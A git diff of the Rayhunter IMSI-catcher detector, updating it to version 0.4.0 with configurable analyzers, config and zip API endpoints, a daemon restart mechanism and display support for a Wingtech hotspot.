"hashbrown", "hashbrown",
] ]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]] [[package]]
name = "installer" name = "installer"
version = "0.3.3" version = "0.4.0"
dependencies = [ dependencies = [
"adb_client", "adb_client",
"aes",
"anyhow", "anyhow",
"axum", "axum",
"base64_light",
"block-padding",
"bytes", "bytes",
"clap", "clap",
"env_logger 0.11.8", "env_logger 0.11.8",
@@ -2307,7 +2367,7 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter" name = "rayhunter"
version = "0.3.3" version = "0.4.0"
dependencies = [ dependencies = [
"bytes", "bytes",
"chrono", "chrono",
@@ -2326,8 +2386,10 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.3.3" version = "0.4.0"
dependencies = [ dependencies = [
"anyhow",
"async_zip",
"axum", "axum",
"chrono", "chrono",
"clap", "clap",
@@ -2453,7 +2515,7 @@ checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a"
[[package]] [[package]]
name = "rootshell" name = "rootshell"
version = "0.3.3" version = "0.4.0"
dependencies = [ dependencies = [
"nix", "nix",
] ]
@@ -2826,7 +2888,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
[[package]] [[package]]
name = "telcom-parser" name = "telcom-parser"
version = "0.3.3" version = "0.4.0"
dependencies = [ dependencies = [
"asn1-codecs", "asn1-codecs",
"asn1-compiler", "asn1-compiler",
@@ -3021,6 +3083,7 @@ checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df"
dependencies = [ dependencies = [
"bytes", "bytes",
"futures-core", "futures-core",
"futures-io",
"futures-sink", "futures-sink",
"futures-util", "futures-util",
"hashbrown", "hashbrown",
+1 -1
View File
@@ -2,6 +2,6 @@
# Rayhunter # Rayhunter
![Tests](https://github.com/EFForg/rayhunter/actions/workflows/check-and-test.yml/badge.svg) ![Tests](https://github.com/EFForg/rayhunter/actions/workflows/main.yml/badge.svg)
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/). Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
+5 -2
View File
@@ -1,12 +1,13 @@
[package] [package]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.3.3" version = "0.4.0"
edition = "2021" edition = "2021"
[features] [features]
# These feature flags are mutually exclusive, and exactly one must be enabled. # These feature flags are mutually exclusive, and exactly one must be enabled.
orbic = ["rayhunter/orbic"] orbic = ["rayhunter/orbic"]
tplink = ["rayhunter/tplink"] tplink = ["rayhunter/tplink"]
wingtech = ["rayhunter/wingtech"]
default = ["orbic"] default = ["orbic"]
@@ -28,7 +29,7 @@ thiserror = "1.0.52"
libc = "0.2.150" libc = "0.2.150"
log = "0.4.20" log = "0.4.20"
env_logger = { version = "0.11", default-features = false } env_logger = { version = "0.11", default-features = false }
tokio-util = { version = "0.7.10", features = ["rt", "io"] } tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
futures-macro = "0.3.30" futures-macro = "0.3.30"
include_dir = "0.7.3" include_dir = "0.7.3"
mime_guess = "2.0.4" mime_guess = "2.0.4"
@@ -40,3 +41,5 @@ serde_json = "1.0.114"
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] } image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
tempfile = "3.10.1" tempfile = "3.10.1"
simple_logger = "5.0.0" simple_logger = "5.0.0"
async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98"
+20 -9
View File
@@ -8,7 +8,7 @@ use axum::{
}; };
use futures::TryStreamExt; use futures::TryStreamExt;
use log::{debug, error, info}; use log::{debug, error, info};
use rayhunter::analysis::analyzer::Harness; use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
use rayhunter::diag::{DataType, MessagesContainer}; use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::qmdl::QmdlReader; use rayhunter::qmdl::QmdlReader;
use serde::Serialize; use serde::Serialize;
@@ -35,8 +35,12 @@ pub struct AnalysisWriter {
// lets us simply append new rows to the end without parsing the entire JSON // lets us simply append new rows to the end without parsing the entire JSON
// object beforehand. // object beforehand.
impl AnalysisWriter { impl AnalysisWriter {
pub async fn new(file: File, enable_dummy_analyzer: bool) -> Result<Self, std::io::Error> { pub async fn new(
let mut harness = Harness::new_with_all_analyzers(); file: File,
enable_dummy_analyzer: bool,
analyzer_config: &AnalyzerConfig,
) -> Result<Self, std::io::Error> {
let mut harness = Harness::new_with_config(analyzer_config);
if enable_dummy_analyzer { if enable_dummy_analyzer {
harness.add_analyzer(Box::new(TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(TestAnalyzer { count: 0 }));
} }
@@ -131,6 +135,7 @@ async fn perform_analysis(
name: &str, name: &str,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: &AnalyzerConfig,
) -> Result<(), String> { ) -> Result<(), String> {
info!("Opening QMDL and analysis file for {}...", name); info!("Opening QMDL and analysis file for {}...", name);
let (analysis_file, qmdl_file, entry_index) = { let (analysis_file, qmdl_file, entry_index) = {
@@ -150,9 +155,10 @@ async fn perform_analysis(
(analysis_file, qmdl_file, entry_index) (analysis_file, qmdl_file, entry_index)
}; };
let mut analysis_writer = AnalysisWriter::new(analysis_file, enable_dummy_analyzer) let mut analysis_writer =
.await AnalysisWriter::new(analysis_file, enable_dummy_analyzer, analyzer_config)
.map_err(|e| format!("{:?}", e))?; .await
.map_err(|e| format!("{:?}", e))?;
let file_size = qmdl_file let file_size = qmdl_file
.metadata() .metadata()
.await .await
@@ -196,6 +202,7 @@ pub fn run_analysis_thread(
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_status_lock: Arc<RwLock<AnalysisStatus>>, analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: AnalyzerConfig,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
loop { loop {
@@ -204,9 +211,13 @@ pub fn run_analysis_thread(
let count = queued_len(analysis_status_lock.clone()).await; let count = queued_len(analysis_status_lock.clone()).await;
for _ in 0..count { for _ in 0..count {
let name = dequeue_to_running(analysis_status_lock.clone()).await; let name = dequeue_to_running(analysis_status_lock.clone()).await;
if let Err(err) = if let Err(err) = perform_analysis(
perform_analysis(&name, qmdl_store_lock.clone(), enable_dummy_analyzer) &name,
.await qmdl_store_lock.clone(),
enable_dummy_analyzer,
&analyzer_config,
)
.await
{ {
error!("failed to analyze {}: {}", name, err); error!("failed to analyze {}: {}", name, err);
} }
+5 -3
View File
@@ -2,7 +2,7 @@ use clap::Parser;
use futures::TryStreamExt; use futures::TryStreamExt;
use log::{info, warn}; use log::{info, warn};
use rayhunter::{ use rayhunter::{
analysis::analyzer::{EventType, Harness}, analysis::analyzer::{AnalyzerConfig, EventType, Harness},
diag::DataType, diag::DataType,
gsmtap_parser, gsmtap_parser,
pcap::GsmtapPcapWriter, pcap::GsmtapPcapWriter,
@@ -33,7 +33,7 @@ struct Args {
} }
async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) { async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) {
let mut harness = Harness::new_with_all_analyzers(); let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
if enable_dummy_analyzer { if enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
} }
@@ -137,11 +137,13 @@ async fn main() {
.with_colors(true) .with_colors(true)
.without_timestamps() .without_timestamps()
.with_level(level) .with_level(level)
//Filter out a stupid massive amount of uneccesary warnings from hampi about undecoded extensions
.with_module_level("asn1_codecs", log::LevelFilter::Error)
.init() .init()
.unwrap(); .unwrap();
info!("Analyzers:"); info!("Analyzers:");
let mut harness = Harness::new_with_all_analyzers(); let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
if args.enable_dummy_analyzer { if args.enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
} }
+10 -6
View File
@@ -1,8 +1,10 @@
use serde::{Deserialize, Serialize};
use rayhunter::analysis::analyzer::AnalyzerConfig;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use serde::Deserialize; #[derive(Debug, Clone, Deserialize, Serialize)]
#[derive(Debug, Deserialize)]
#[serde(default)] #[serde(default)]
pub struct Config { pub struct Config {
pub qmdl_store_path: String, pub qmdl_store_path: String,
@@ -12,6 +14,7 @@ pub struct Config {
pub enable_dummy_analyzer: bool, pub enable_dummy_analyzer: bool,
pub colorblind_mode: bool, pub colorblind_mode: bool,
pub key_input_mode: u8, pub key_input_mode: u8,
pub analyzers: AnalyzerConfig,
} }
impl Default for Config { impl Default for Config {
@@ -23,16 +26,17 @@ impl Default for Config {
ui_level: 1, ui_level: 1,
enable_dummy_analyzer: false, enable_dummy_analyzer: false,
colorblind_mode: false, colorblind_mode: false,
key_input_mode: 1, key_input_mode: 0,
analyzers: AnalyzerConfig::default(),
} }
} }
} }
pub fn parse_config<P>(path: P) -> Result<Config, RayhunterError> pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
where where
P: AsRef<std::path::Path>, P: AsRef<std::path::Path>,
{ {
if let Ok(config_file) = std::fs::read_to_string(&path) { if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?) Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
} else { } else {
Ok(Config::default()) Ok(Config::default())
+91 -42
View File
@@ -10,13 +10,17 @@ mod qmdl_store;
mod server; mod server;
mod stats; mod stats;
use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use crate::config::{parse_args, parse_config}; use crate::config::{parse_args, parse_config};
use crate::diag::run_diag_read_thread; use crate::diag::run_diag_read_thread;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use crate::pcap::get_pcap; use crate::pcap::get_pcap;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::server::{get_qmdl, serve_static, ServerState}; use crate::server::{get_config, get_qmdl, get_zip, serve_static, set_config, ServerState};
use crate::stats::get_system_stats; use crate::stats::{get_qmdl_manifest, get_system_stats};
use analysis::{ use analysis::{
get_analysis_status, run_analysis_thread, start_analysis, AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis, AnalysisCtrlMessage, AnalysisStatus,
@@ -31,10 +35,8 @@ use diag::{
use log::{error, info}; use log::{error, info};
use qmdl_store::RecordingStoreError; use qmdl_store::RecordingStoreError;
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use stats::get_qmdl_manifest;
use std::net::SocketAddr;
use std::sync::Arc;
use tokio::net::TcpListener; use tokio::net::TcpListener;
use tokio::select;
use tokio::sync::mpsc::{self, Sender}; use tokio::sync::mpsc::{self, Sender};
use tokio::sync::{oneshot, RwLock}; use tokio::sync::{oneshot, RwLock};
use tokio::task::JoinHandle; use tokio::task::JoinHandle;
@@ -46,6 +48,7 @@ fn get_router() -> AppRouter {
Router::new() Router::new()
.route("/api/pcap/{name}", get(get_pcap)) .route("/api/pcap/{name}", get(get_pcap))
.route("/api/qmdl/{name}", get(get_qmdl)) .route("/api/qmdl/{name}", get(get_qmdl))
.route("/api/zip/{name}", get(get_zip))
.route("/api/system-stats", get(get_system_stats)) .route("/api/system-stats", get(get_system_stats))
.route("/api/qmdl-manifest", get(get_qmdl_manifest)) .route("/api/qmdl-manifest", get(get_qmdl_manifest))
.route("/api/start-recording", post(start_recording)) .route("/api/start-recording", post(start_recording))
@@ -55,6 +58,8 @@ fn get_router() -> AppRouter {
.route("/api/analysis-report/{name}", get(get_analysis_report)) .route("/api/analysis-report/{name}", get(get_analysis_report))
.route("/api/analysis", get(get_analysis_status)) .route("/api/analysis", get(get_analysis_status))
.route("/api/analysis/{name}", post(start_analysis)) .route("/api/analysis/{name}", post(start_analysis))
.route("/api/config", get(get_config))
.route("/api/config", post(set_config))
.route("/", get(|| async { Redirect::permanent("/index.html") })) .route("/", get(|| async { Redirect::permanent("/index.html") }))
.route("/{*path}", get(serve_static)) .route("/{*path}", get(serve_static))
} }
@@ -64,14 +69,14 @@ fn get_router() -> AppRouter {
// (i.e. user hit ctrl+c) // (i.e. user hit ctrl+c)
async fn run_server( async fn run_server(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config,
state: Arc<ServerState>, state: Arc<ServerState>,
server_shutdown_rx: oneshot::Receiver<()>, server_shutdown_rx: oneshot::Receiver<()>,
) -> JoinHandle<()> { ) -> JoinHandle<()> {
info!("spinning up server"); info!("spinning up server");
let app = get_router().with_state(state); let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
let addr = SocketAddr::from(([0, 0, 0, 0], config.port));
let listener = TcpListener::bind(&addr).await.unwrap(); let listener = TcpListener::bind(&addr).await.unwrap();
let app = get_router().with_state(state);
task_tracker.spawn(async move { task_tracker.spawn(async move {
info!("The orca is hunting for stingrays..."); info!("The orca is hunting for stingrays...");
axum::serve(listener, app) axum::serve(listener, app)
@@ -117,46 +122,61 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
// Start a thread that'll track when user hits ctrl+c. When that happens, // Start a thread that'll track when user hits ctrl+c. When that happens,
// trigger various cleanup tasks, including sending signals to other threads to // trigger various cleanup tasks, including sending signals to other threads to
// shutdown // shutdown
fn run_ctrl_c_thread( fn run_shutdown_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
diag_device_sender: Sender<DiagDeviceCtrlMessage>, diag_device_sender: Sender<DiagDeviceCtrlMessage>,
daemon_restart_rx: oneshot::Receiver<()>,
should_restart_flag: Arc<AtomicBool>,
server_shutdown_tx: oneshot::Sender<()>, server_shutdown_tx: oneshot::Sender<()>,
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>, maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_tx: Sender<AnalysisCtrlMessage>, analysis_tx: Sender<AnalysisCtrlMessage>,
) -> JoinHandle<Result<(), RayhunterError>> { ) -> JoinHandle<Result<(), RayhunterError>> {
info!("create shutdown thread");
task_tracker.spawn(async move { task_tracker.spawn(async move {
match tokio::signal::ctrl_c().await { select! {
Ok(()) => { res = tokio::signal::ctrl_c() => {
let mut qmdl_store = qmdl_store_lock.write().await; if let Err(err) = res {
if qmdl_store.current_entry.is_some() { error!("Unable to listen for shutdown signal: {}", err);
info!("Closing current QMDL entry...");
qmdl_store.close_current_entry().await?;
info!("Done!");
} }
server_shutdown_tx should_restart_flag.store(false, Ordering::Relaxed);
.send(()) }
.expect("couldn't send server shutdown signal"); res = daemon_restart_rx => {
info!("sending UI shutdown"); if let Err(err) = res {
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx { error!("Unable to listen for shutdown signal: {}", err);
ui_shutdown_tx
.send(())
.expect("couldn't send ui shutdown signal");
} }
diag_device_sender
.send(DiagDeviceCtrlMessage::Exit) should_restart_flag.store(true, Ordering::Relaxed);
.await
.expect("couldn't send Exit message to diag thread");
analysis_tx
.send(AnalysisCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to analysis thread");
}
Err(err) => {
error!("Unable to listen for shutdown signal: {}", err);
} }
};
let mut qmdl_store = qmdl_store_lock.write().await;
if qmdl_store.current_entry.is_some() {
info!("Closing current QMDL entry...");
qmdl_store.close_current_entry().await?;
info!("Done!");
} }
server_shutdown_tx
.send(())
.expect("couldn't send server shutdown signal");
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
let _ = ui_shutdown_tx.send(());
}
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
let _ = key_input_shutdown_tx.send(());
}
diag_device_sender
.send(DiagDeviceCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to diag thread");
analysis_tx
.send(AnalysisCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to analysis thread");
Ok(()) Ok(())
}) })
} }
@@ -166,8 +186,19 @@ async fn main() -> Result<(), RayhunterError> {
env_logger::init(); env_logger::init();
let args = parse_args(); let args = parse_args();
let config = parse_config(&args.config_path)?;
loop {
let config = parse_config(&args.config_path).await?;
if !run_with_config(&args, config).await? {
return Ok(());
}
}
}
async fn run_with_config(
args: &config::Args,
config: config::Config,
) -> Result<bool, RayhunterError> {
// TaskTrackers give us an interface to spawn tokio threads, and then // TaskTrackers give us an interface to spawn tokio threads, and then
// eventually await all of them ending // eventually await all of them ending
let task_tracker = TaskTracker::new(); let task_tracker = TaskTracker::new();
@@ -180,6 +211,7 @@ async fn main() -> Result<(), RayhunterError> {
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1); let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5); let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let mut maybe_ui_shutdown_tx = None; let mut maybe_ui_shutdown_tx = None;
let mut maybe_key_input_shutdown_tx = None;
if !config.debug_mode { if !config.debug_mode {
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel(); let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
maybe_ui_shutdown_tx = Some(ui_shutdown_tx); maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
@@ -199,15 +231,24 @@ async fn main() -> Result<(), RayhunterError> {
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
config.enable_dummy_analyzer, config.enable_dummy_analyzer,
config.analyzers.clone(),
); );
info!("Starting UI"); info!("Starting UI");
display::update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx); display::update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
info!("Starting Key Input service"); info!("Starting Key Input service");
key_input::run_key_input_thread(&task_tracker, &config, diag_tx.clone()); let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
key_input::run_key_input_thread(
&task_tracker,
&config,
diag_tx.clone(),
key_input_shutdown_rx,
);
} }
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>(); let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
info!("create shutdown thread");
let analysis_status_lock = Arc::new(RwLock::new(analysis_status)); let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
run_analysis_thread( run_analysis_thread(
&task_tracker, &task_tracker,
@@ -215,30 +256,38 @@ async fn main() -> Result<(), RayhunterError> {
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_status_lock.clone(), analysis_status_lock.clone(),
config.enable_dummy_analyzer, config.enable_dummy_analyzer,
config.analyzers.clone(),
); );
run_ctrl_c_thread( let should_restart_flag = Arc::new(AtomicBool::new(false));
run_shutdown_thread(
&task_tracker, &task_tracker,
diag_tx.clone(), diag_tx.clone(),
daemon_restart_rx,
should_restart_flag.clone(),
server_shutdown_tx, server_shutdown_tx,
maybe_ui_shutdown_tx, maybe_ui_shutdown_tx,
maybe_key_input_shutdown_tx,
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
); );
let state = Arc::new(ServerState { let state = Arc::new(ServerState {
config_path: args.config_path.clone(),
config,
qmdl_store_lock: qmdl_store_lock.clone(), qmdl_store_lock: qmdl_store_lock.clone(),
diag_device_ctrl_sender: diag_tx, diag_device_ctrl_sender: diag_tx,
ui_update_sender: ui_update_tx, ui_update_sender: ui_update_tx,
debug_mode: config.debug_mode,
analysis_status_lock, analysis_status_lock,
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
}); });
run_server(&task_tracker, &config, state, server_shutdown_rx).await; run_server(&task_tracker, state, server_shutdown_rx).await;
task_tracker.close(); task_tracker.close();
task_tracker.wait().await; task_tracker.wait().await;
info!("see you space cowboy..."); info!("see you space cowboy...");
Ok(()) Ok(should_restart_flag.load(Ordering::Relaxed))
} }
#[cfg(test)] #[cfg(test)]
+16 -17
View File
@@ -8,6 +8,7 @@ use axum::http::StatusCode;
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use futures::{StreamExt, TryStreamExt}; use futures::{StreamExt, TryStreamExt};
use log::{debug, error, info, warn}; use log::{debug, error, info, warn};
use rayhunter::analysis::analyzer::AnalyzerConfig;
use rayhunter::diag::DataType; use rayhunter::diag::DataType;
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use rayhunter::qmdl::QmdlWriter; use rayhunter::qmdl::QmdlWriter;
@@ -36,12 +37,13 @@ pub fn run_diag_read_thread(
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_sender: Sender<AnalysisCtrlMessage>, analysis_sender: Sender<AnalysisCtrlMessage>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: AnalyzerConfig,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry"); let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry");
let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file)); let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file));
let mut diag_stream = pin!(dev.as_stream().into_stream()); let mut diag_stream = pin!(dev.as_stream().into_stream());
let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer).await let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer, &analyzer_config).await
.expect("failed to create analysis writer")); .expect("failed to create analysis writer"));
loop { loop {
tokio::select! { tokio::select! {
@@ -63,7 +65,7 @@ pub fn run_diag_read_thread(
analysis_writer.close().await.expect("failed to close analysis writer"); analysis_writer.close().await.expect("failed to close analysis writer");
} }
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer).await maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer, &analyzer_config).await
.expect("failed to write to analysis file")); .expect("failed to write to analysis file"));
if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await { if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await {
@@ -72,17 +74,14 @@ pub fn run_diag_read_thread(
}, },
Some(DiagDeviceCtrlMessage::StopRecording) => { Some(DiagDeviceCtrlMessage::StopRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await; let mut qmdl_store = qmdl_store_lock.write().await;
match qmdl_store.get_current_entry() { if let Some((_, entry)) = qmdl_store.get_current_entry() {
Some((_, entry)) => { if let Err(e) = analysis_sender
if let Err(e) = analysis_sender .send(AnalysisCtrlMessage::RecordingFinished(
.send(AnalysisCtrlMessage::RecordingFinished( entry.name.to_string(),
entry.name.to_string(), ))
)) .await {
.await { warn!("couldn't send analysis message: {}", e);
warn!("couldn't send analysis message: {}", e); }
}
}
None => todo!(),
} }
if let Err(e) = qmdl_store.close_current_entry().await { if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {}", e); error!("couldn't close current entry: {}", e);
@@ -159,7 +158,7 @@ pub fn run_diag_read_thread(
pub async fn start_recording( pub async fn start_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
@@ -180,7 +179,7 @@ pub async fn start_recording(
pub async fn stop_recording( pub async fn stop_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
state state
@@ -200,7 +199,7 @@ pub async fn delete_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>, Path(qmdl_name): Path<String>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await; let mut qmdl_store = state.qmdl_store_lock.write().await;
@@ -245,7 +244,7 @@ pub async fn delete_recording(
pub async fn delete_all_recordings( pub async fn delete_all_recordings(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
state state
+5 -6
View File
@@ -15,14 +15,13 @@ mod orbic;
#[cfg(feature = "orbic")] #[cfg(feature = "orbic")]
pub use orbic::update_ui; pub use orbic::update_ui;
#[cfg(feature = "wingtech")]
mod wingtech;
#[cfg(feature = "wingtech")]
pub use wingtech::update_ui;
pub enum DisplayState { pub enum DisplayState {
Recording, Recording,
Paused, Paused,
WarningDetected, WarningDetected,
} }
#[cfg(all(feature = "orbic", feature = "tplink"))]
compile_error!("cannot compile for many devices at once");
#[cfg(not(any(feature = "orbic", feature = "tplink")))]
compile_error!("cannot compile for no device at all");
+54
View File
@@ -0,0 +1,54 @@
/// Display support for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use crate::config;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use crate::display::DisplayState;
use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
Dimensions {
height: 128,
width: 160,
}
}
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
std::fs::write(FB_PATH, &raw_buffer).unwrap();
}
}
pub fn update_ui(
task_tracker: &TaskTracker,
config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>,
ui_update_rx: Receiver<DisplayState>,
) {
generic_framebuffer::update_ui(
task_tracker,
config,
Framebuffer,
ui_shutdown_rx,
ui_update_rx,
)
}
+46 -15
View File
@@ -1,8 +1,9 @@
use log::error; use log::{error, info};
use std::time::{Duration, Instant}; use std::time::{Duration, Instant};
use tokio::fs::File; use tokio::fs::File;
use tokio::io::AsyncReadExt; use tokio::io::AsyncReadExt;
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use crate::config; use crate::config;
@@ -20,6 +21,7 @@ pub fn run_key_input_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
diag_tx: Sender<DiagDeviceCtrlMessage>, diag_tx: Sender<DiagDeviceCtrlMessage>,
mut ui_shutdown_rx: oneshot::Receiver<()>,
) { ) {
if config.key_input_mode == 0 { if config.key_input_mode == 0 {
return; return;
@@ -37,30 +39,59 @@ pub fn run_key_input_thread(
let mut buffer = [0u8; INPUT_EVENT_SIZE]; let mut buffer = [0u8; INPUT_EVENT_SIZE];
let mut last_keyup: Option<Instant> = None; let mut last_keyup: Option<Instant> = None;
let mut last_event_time: Option<Instant> = None;
loop { loop {
if let Err(e) = file.read_exact(&mut buffer).await { tokio::select! {
